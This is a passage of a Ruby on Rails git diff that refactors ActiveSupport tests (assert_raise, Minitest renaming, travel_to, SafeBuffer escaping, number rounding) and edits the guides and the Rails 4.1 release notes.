+end
+
class StringConversionsTest < ActiveSupport::TestCase
def test_string_to_time
with_env_tz "Europe/Moscow" do
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index 41a1df084e..e0a4b1be3e 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -476,6 +476,13 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal t, t.advance(:months => 0)
end
+ def test_advance_gregorian_proleptic
+ assert_equal Time.local(1582,10,14,15,15,10), Time.local(1582,10,15,15,15,10).advance(:days => -1)
+ assert_equal Time.local(1582,10,15,15,15,10), Time.local(1582,10,14,15,15,10).advance(:days => 1)
+ assert_equal Time.local(1582,10,5,15,15,10), Time.local(1582,10,4,15,15,10).advance(:days => 1)
+ assert_equal Time.local(1582,10,4,15,15,10), Time.local(1582,10,5,15,15,10).advance(:days => -1)
+ end
+
def test_last_week
with_env_tz 'US/Eastern' do
assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index 2392b71960..00bec5bd9d 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -73,12 +73,11 @@ class DependenciesTest < ActiveSupport::TestCase
$raises_exception_load_count = 0
5.times do |count|
- begin
+ e = assert_raise Exception, 'should have loaded dependencies/raises_exception which raises an exception' do
require_dependency filename
- flunk 'should have loaded dependencies/raises_exception which raises an exception'
- rescue Exception => e
- assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
end
+
+ assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
assert_equal count + 1, $raises_exception_load_count
assert !ActiveSupport::Dependencies.loaded.include?(filename)
@@ -366,26 +365,19 @@ class DependenciesTest < ActiveSupport::TestCase
def test_non_existing_const_raises_name_error_with_fully_qualified_name
with_autoloading_fixtures do
- begin
- A::DoesNotExist.nil?
- flunk "No raise!!"
- rescue NameError => e
- assert_equal "uninitialized constant A::DoesNotExist", e.message
- end
- begin
- A::B::DoesNotExist.nil?
- flunk "No raise!!"
- rescue NameError => e
- assert_equal "uninitialized constant A::B::DoesNotExist", e.message
- end
+ e = assert_raise(NameError) { A::DoesNotExist.nil? }
+ assert_equal "uninitialized constant A::DoesNotExist", e.message
+
+ e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
+ assert_equal "uninitialized constant A::B::DoesNotExist", e.message
end
end
def test_smart_name_error_strings
- Object.module_eval "ImaginaryObject"
- flunk "No raise!!"
- rescue NameError => e
- assert e.message.include?("uninitialized constant ImaginaryObject")
+ e = assert_raise NameError do
+ Object.module_eval "ImaginaryObject"
+ end
+ assert_includes "uninitialized constant ImaginaryObject", e.message
end
def test_loadable_constants_for_path_should_handle_empty_autoloads
@@ -530,29 +522,21 @@ class DependenciesTest < ActiveSupport::TestCase
end
end
- def test_const_missing_should_not_double_load
- $counting_loaded_times = 0
+ def test_const_missing_in_anonymous_modules_loads_top_level_constants
with_autoloading_fixtures do
- require_dependency '././counting_loader'
- assert_equal 1, $counting_loaded_times
- assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
- assert_equal 1, $counting_loaded_times
+ # class_eval STRING pushes the class to the nesting of the eval'ed code.
+ klass = Class.new.class_eval "E"
+ assert_equal E, klass
end
end
- def test_const_missing_within_anonymous_module
- $counting_loaded_times = 0
- m = Module.new
- m.module_eval "def a() CountingLoader; end"
- extend m
+ def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
with_autoloading_fixtures do
- kls = nil
- assert_nothing_raised { kls = a }
- assert_equal "CountingLoader", kls.name
- assert_equal 1, $counting_loaded_times
+ require_dependency 'e'
- assert_nothing_raised { kls = a }
- assert_equal 1, $counting_loaded_times
+ mod = Module.new
+ e = assert_raise(NameError) { mod::E }
+ assert_equal 'E cannot be autoloaded from an anonymous class or module', e.message
end
end
@@ -561,12 +545,10 @@ class DependenciesTest < ActiveSupport::TestCase
c = ServiceOne
ActiveSupport::Dependencies.clear
assert ! defined?(ServiceOne)
- begin
+ e = assert_raise ArgumentError do
ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
- flunk "Expected exception"
- rescue ArgumentError => e
- assert_match %r{ServiceOne has been removed from the module tree}i, e.message
end
+ assert_match %r{ServiceOne has been removed from the module tree}i, e.message
end
end
@@ -905,12 +887,10 @@ class DependenciesTest < ActiveSupport::TestCase
with_autoloading_fixtures do
Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
2.times do
- begin
+ e = assert_raise NameError do
::RaisesNameError::FooBarBaz.object_id
- flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
- rescue NameError => e
- assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
end
+ assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
end
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index 9674851b9d..ee1c69502e 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -104,14 +104,11 @@ class DeprecationTest < ActiveSupport::TestCase
message = 'Revise this deprecated stuff now!'
callstack = %w(foo bar baz)
- begin
+ e = assert_raise ActiveSupport::DeprecationException do
ActiveSupport::Deprecation.behavior.first.call(message, callstack)
- rescue ActiveSupport::DeprecationException => e
- assert_equal message, e.message
- assert_equal callstack, e.backtrace
- else
- flunk 'the :raise deprecation behaviour should raise the expected exception'
end
+ assert_equal message, e.message
+ assert_equal callstack, e.backtrace
end
def test_default_stderr_behavior
@@ -174,7 +171,7 @@ class DeprecationTest < ActiveSupport::TestCase
ActiveSupport::Deprecation.warn 'abc'
ActiveSupport::Deprecation.warn 'def'
end
- rescue MiniTest::Assertion
+ rescue Minitest::Assertion
flunk 'assert_deprecated should match any warning in block, not just the last one'
end
diff --git a/activesupport/test/empty_bool.rb b/activesupport/test/empty_bool.rb
deleted file mode 100644
index 005b3523ef..0000000000
--- a/activesupport/test/empty_bool.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class EmptyTrue
- def empty?() true; end
-end
-
-class EmptyFalse
- def empty?() false; end
-end
diff --git a/activesupport/test/fixtures/custom.rb b/activesupport/test/fixtures/custom.rb
deleted file mode 100644
index 0eefce0c25..0000000000
--- a/activesupport/test/fixtures/custom.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Custom
-end \ No newline at end of file
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 79e639b508..78cf4819f9 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -172,6 +172,22 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal "𐒑", decoded_hash['string']
end
+ def test_reading_encode_big_decimal_as_string_option
+ assert_deprecated do
+ assert ActiveSupport.encode_big_decimal_as_string
+ end
+ end
+
+ def test_setting_deprecated_encode_big_decimal_as_string_option
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = true
+ end
+
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = false
+ end
+ end
+
def test_exception_raised_when_encoding_circular_reference_in_array
a = [1]
a << a
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 203156baa1..b6c0a08b05 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -66,6 +66,17 @@ class MessageEncryptorTest < ActiveSupport::TestCase
ActiveSupport.use_standard_json_time_format = prev
end
+ def test_message_obeys_strict_encoding
+ bad_encoding_characters = "\n!@#"
+ message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string"+bad_encoding_characters)
+
+ assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+ assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+ assert_not_decrypted([iv, message] * bad_encoding_characters)
+ assert_not_verified([iv, message] * bad_encoding_characters)
+ end
+
private
def assert_not_decrypted(value)
@@ -81,7 +92,7 @@ class MessageEncryptorTest < ActiveSupport::TestCase
end
def munge(base64_string)
- bits = ::Base64.decode64(base64_string)
+ bits = ::Base64.strict_decode64(base64_string)
bits.reverse!
::Base64.strict_encode64(bits)
end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index f0f261d710..a5748d28ba 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -11,7 +11,7 @@ require 'active_support/time'
require 'active_support/json'
class MessageVerifierTest < ActiveSupport::TestCase
-
+
class JSONSerializer
def dump(value)
ActiveSupport::JSON.encode(value)
@@ -21,7 +21,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
ActiveSupport::JSON.decode(value)
end
end
-
+
def setup
@verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
@data = { :some => "data", :now => Time.local(2010) }
@@ -43,7 +43,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
assert_not_verified("#{data}--#{hash.reverse}")
assert_not_verified("purejunk")
end
-
+
def test_alternative_serialization_method
prev = ActiveSupport.use_standard_json_time_format
ActiveSupport.use_standard_json_time_format = true
@@ -54,7 +54,21 @@ class MessageVerifierTest < ActiveSupport::TestCase
ensure
ActiveSupport.use_standard_json_time_format = prev
end
-
+
+ def test_raise_error_when_argument_class_is_not_loaded
+ # To generate the valid message below:
+ #
+ # AutoloadClass = Struct.new(:foo)
+ # valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
+ #
+ valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
+ exception = assert_raise(ArgumentError, NameError) do
+ @verifier.verify(valid_message)
+ end
+ assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+ "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+ end
+
def assert_not_verified(message)
assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
@verifier.verify(message)
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index 2bf73291a2..659fceb852 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -221,9 +221,9 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
end
def test_include_raises_when_nil_is_passed
- @chars.include?(nil)
- flunk "Expected chars.include?(nil) to raise TypeError or NoMethodError"
- rescue Exception
+ assert_raises TypeError, NoMethodError, "Expected chars.include?(nil) to raise TypeError or NoMethodError" do
+ @chars.include?(nil)
+ end
end
def test_index_should_return_character_offset
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index 1fadef3637..6d8d835de7 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -102,7 +102,6 @@ module ActiveSupport
assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
- assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
end
end
@@ -124,6 +123,12 @@ module ActiveSupport
assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(111.2346, :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded('111.2346', :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(BigDecimal(111.2346, Float::DIG), :precision => 20))
+ assert_equal("111.2346" + "0"*96, number_helper.number_to_rounded('111.2346', :precision => 100))
end
end
@@ -156,6 +161,14 @@ module ActiveSupport
assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(Rational(9775, 1), :precision => 20, :significant => true )
+ assert_equal "97.750000000000000000", number_helper.number_to_rounded(Rational(9775, 100), :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(BigDecimal(9775), :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", :precision => 20, :significant => true )
+ assert_equal "9775." + "0"*96, number_helper.number_to_rounded("9775", :precision => 100, :significant => true )
end
end
@@ -370,12 +383,6 @@ module ActiveSupport
end
end
- def test_extending_or_including_number_helper_correctly_hides_private_methods
- [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
- assert !number_helper.respond_to?(:valid_float?)
- assert number_helper.respond_to?(:valid_float?, true)
- end
- end
end
end
end
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 047b89be2a..efa9d5e61f 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -140,4 +140,29 @@ class SafeBufferTest < ActiveSupport::TestCase
# should still be unsafe
assert !y.html_safe?, "should not be safe"
end
+
+ test 'Should work with interpolation (array argument)' do
+ x = 'foo %s bar'.html_safe % ['qux']
+ assert_equal 'foo qux bar', x
+ end
+
+ test 'Should work with interpolation (hash argument)' do
+ x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+ assert_equal 'foo qux bar', x
+ end
+
+ test 'Should escape unsafe interpolated args' do
+ x = 'foo %{x} bar'.html_safe % { x: '<br/>' }
+ assert_equal 'foo &lt;br/&gt; bar', x
+ end
+
+ test 'Should not escape safe interpolated args' do
+ x = 'foo %{x} bar'.html_safe % { x: '<br/>'.html_safe }
+ assert_equal 'foo <br/> bar', x
+ end
+
+ test 'Should interpolate to a safe string' do
+ x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+ assert x.html_safe?, 'should be safe'
+ end
end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index 5ed2da7e8b..8a71ef4324 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -21,10 +21,10 @@ class AssertDifferenceTest < ActiveSupport::TestCase
assert_equal true, assert_not(nil)
assert_equal true, assert_not(false)
- e = assert_raises(MiniTest::Assertion) { assert_not true }
+ e = assert_raises(Minitest::Assertion) { assert_not true }
assert_equal 'Expected true to be nil or false', e.message
- e = assert_raises(MiniTest::Assertion) { assert_not true, 'custom' }
+ e = assert_raises(Minitest::Assertion) { assert_not true, 'custom' }
assert_equal 'custom', e.message
end
@@ -73,7 +73,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
def test_array_of_expressions_identify_failure
- assert_raises(MiniTest::Assertion) do
+ assert_raises(Minitest::Assertion) do
assert_difference ['@object.num', '1 + 1'] do
@object.increment
end
@@ -81,7 +81,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
def test_array_of_expressions_identify_failure_when_message_provided
- assert_raises(MiniTest::Assertion) do
+ assert_raises(Minitest::Assertion) do
assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
@object.increment
end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
index aca2951450..71a9561189 100644
--- a/activesupport/test/testing/constant_lookup_test.rb
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -6,7 +6,6 @@ class Bar < Foo
def index; end
def self.index; end
end
-class Baz < Bar; end
module FooBar; end
class ConstantLookupTest < ActiveSupport::TestCase
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 84c3154e53..1107b48460 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -89,16 +89,38 @@ class TimeZoneTest < ActiveSupport::TestCase
end
def test_today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
end
+ def test_tomorrow
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ end
+
+ def test_yesterday
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ end
+
def test_local
time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
index 89ac28671a..9387e3dc1d 100644
--- a/guides/bug_report_templates/action_controller_gem.rb
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -29,7 +29,10 @@ end
require 'minitest/autorun'
require 'rack/test'
-class BugTest < MiniTest::Unit::TestCase
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
include Rack::Test::Methods
def test_returns_success
@@ -41,4 +44,4 @@ class BugTest < MiniTest::Unit::TestCase
def app
Rails.application
end
-end \ No newline at end of file
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
index a8868a1877..d72633d0b2 100644
--- a/guides/bug_report_templates/active_record_gem.rb
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -4,6 +4,9 @@ require 'active_record'
require 'minitest/autorun'
require 'logger'
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
# This connection will do for database-independent bug reports.
ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
ActiveRecord::Base.logger = Logger.new(STDOUT)
@@ -25,7 +28,7 @@ class Comment < ActiveRecord::Base
belongs_to :post
end
-class BugTest < MiniTest::Unit::TestCase
+class BugTest < Minitest::Test
def test_association_stuff
post = Post.create!
post.comments << Comment.create!
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
index eef6180804..d573488bdb 100644
--- a/guides/code/getting_started/Gemfile
+++ b/guides/code/getting_started/Gemfile
@@ -28,7 +28,7 @@ group :doc do
end
# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-gem 'jbuilder', '~> 1.2'
+gem 'jbuilder', '~> 2.0'
# To use ActiveModel has_secure_password
# gem 'bcrypt-ruby', '~> 3.1.2'
diff --git a/guides/code/getting_started/Gemfile.lock b/guides/code/getting_started/Gemfile.lock
index 2d5c50ef5c..1c30ac5d75 100644
--- a/guides/code/getting_started/Gemfile.lock
+++ b/guides/code/getting_started/Gemfile.lock
@@ -40,7 +40,7 @@ GEM
multi_json (~> 1.0)
hike (1.2.3)
i18n (0.6.4)
- jbuilder (1.4.2)
+ jbuilder (2.0.0)
activesupport (>= 3.0.0)
multi_json (>= 1.2.0)
jquery-rails (3.0.2)
@@ -110,7 +110,7 @@ PLATFORMS
DEPENDENCIES
coffee-rails
- jbuilder (~> 1.2)
+ jbuilder (~> 2.0)
jquery-rails
rails (= 4.0.0)
sass-rails
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
index 368a735122..93d44723fb 100644
--- a/guides/code/getting_started/config/environments/production.rb
+++ b/guides/code/getting_started/config/environments/production.rb
@@ -66,7 +66,7 @@ Blog::Application.configure do
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found).
+ # the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index c11d1240c4..522f628a7e 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da
* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
* The included TzInfo library has been upgraded to version 0.3.12.
-* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
Railties
--------
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
index 5c99892e39..485f8c756b 100644
--- a/guides/source/3_1_release_notes.md
+++ b/guides/source/3_1_release_notes.md
@@ -286,7 +286,7 @@ Action Pack
end
```
- You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
+ You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
index a9484cf97a..ce811a583b 100644
--- a/guides/source/3_2_release_notes.md
+++ b/guides/source/3_2_release_notes.md
@@ -238,7 +238,7 @@ Action Pack
end
```
- In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+ In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
index c0eb77c1e7..19c690233c 100644
--- a/guides/source/4_0_release_notes.md
+++ b/guides/source/4_0_release_notes.md
@@ -15,7 +15,7 @@ These release notes cover only the major changes. To know about various bug fixe
Upgrading to Rails 4.0
----------------------
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
Creating a Rails 4.0 application
@@ -90,7 +90,7 @@ Major Features
* **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
* **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
* **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).
-
+
Extraction of features to gems
---------------------------
@@ -268,7 +268,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a
* `scoped_by_...` can be rewritten using `where(...)`.
* `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
* `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
- * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
+ * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
Credits
-------
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
index 449c279d39..924e5d90db 100644
--- a/guides/source/4_1_release_notes.md
+++ b/guides/source/4_1_release_notes.md
@@ -3,7 +3,10 @@ Ruby on Rails 4.1 Release Notes
Highlights in Rails 4.1:
-* Action View extracted from Action Pack
+* Spring application preloader
+* `config/secrets.yml`
+* Action Pack variants
+* Action Mailer previews
These release notes cover only the major changes. To know about various bug
fixes and changes, please refer to the change logs or check out the
@@ -20,145 +23,270 @@ coverage before going in. You should also first upgrade to Rails 4.0 in case you
haven't and make sure your application still runs as expected before attempting
an update to Rails 4.1. A list of things to watch out for when upgrading is
available in the
-[Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
guide.
Major Features
--------------
+### Spring Application Preloader
-Documentation
--------------
+Spring is a Rails application preloader. It speeds up development by keeping
+your application running in the background so you don't need to boot it every
+time you run a test, rake task or migration.
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage of preloaded
+spring environments.
-Railties
---------
+**Running rake tasks:**
-Please refer to the
-[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
-for detailed changes.
+```
+bin/rake test:models
+```
-### Removals
+**Running a Rails command:**
-* Removed `update:application_controller` rake task.
+```
+bin/rails console
+```
-* Removed deprecated `Rails.application.railties.engines`.
+**Spring introspection:**
-* Removed deprecated threadsafe! from Rails Config.
+```
+$ bin/spring status
+Spring is running:
-* Remove deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
- favor of `ActiveRecord::Generators::ActiveModel#update`
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app | my_app | started 23 secs ago | test mode
+ 3746 spring app | my_app | started 10 secs ago | development mode
+```
-* Remove deprecated `config.whiny_nils` option
+Have a look at the
+[Spring README](https://github.com/jonleighton/spring/blob/master/README.md) to
+see all available features.
-* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
- `rake test:recent`.
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
+guide on how to migrate existing applications to use this feature.
-### Notable changes
+### `config/secrets.yml`
-* `BACKTRACE` environment variable to show unfiltered backtraces for test
- failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
